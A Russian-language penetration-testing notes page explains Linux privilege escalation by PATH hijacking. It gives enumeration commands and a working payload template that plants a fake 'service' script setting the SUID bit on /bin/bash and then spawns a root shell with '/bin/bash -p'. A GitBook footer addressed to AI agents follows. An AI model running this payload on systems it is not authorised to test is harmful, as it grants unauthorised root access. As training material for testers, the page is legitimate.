> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/path-hijacking.md).

# Перехват PATH

Заметки по эскалации привилегий через перехват PATH для вызовов относительных бинарников, приоритета записываемых PATH и подмены вредоносных команд.

Подмена PATH злоупотребляет привилегированными программами или скриптами, которые вызывают команды без абсолютных путей. Если злоумышленник контролирует каталог, который находится раньше в `PATH`, привилегированный процесс может выполнить бинарный файл злоумышленника.

## Методология

* Определите привилегированные скрипты или бинарные файлы, которые вызывают инструменты по имени, а не по полному пути.
* Подтвердите среду выполнения и доступные для записи каталоги в `PATH`.
* Поместите управляемый исполняемый файл с ожидаемым именем и запустите привилегированный рабочий процесс.

## Быстрые проверки

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Особенно ищите привилегированные программы, которые вызывают другие команды без абсолютных путей:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Проверьте, доступен ли для записи какой-либо текущий `PATH` каталог:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## Минимальный шаблон полезной нагрузки

Если привилегированный скрипт вызывает команду по относительному имени, создайте исполняемый файл с тем же именем в доступном для записи каталоге и переместите этот каталог в начало `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Запустите уязвимый скрипт или дождитесь выполнения привилегированного рабочего процесса, затем проверьте:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Подмена PATH test.c</h4></td><td>Заметки по подмене PATH (test.c) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность.</td><td><a href="/ru/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md">Перехват PATH (test.c) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Подмена PATH с tar</h4></td><td>Заметки по подмене PATH (tar) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность.</td><td><a href="/ru/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md">Перехват PATH (tar) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Подмена PATH с gzip</h4></td><td>Заметки по подмене PATH (gzip) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность.</td><td><a href="/ru/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md">Перехват PATH (gzip) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Подмена PATH cat</h4></td><td>Техники подмены PATH для повышения привилегий в Linux с использованием доступных для записи каталогов PATH и вызовов команд без полного пути.</td><td><a href="/ru/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation.md">Угон PATH (cat) — повышение привилегий в Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/path-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
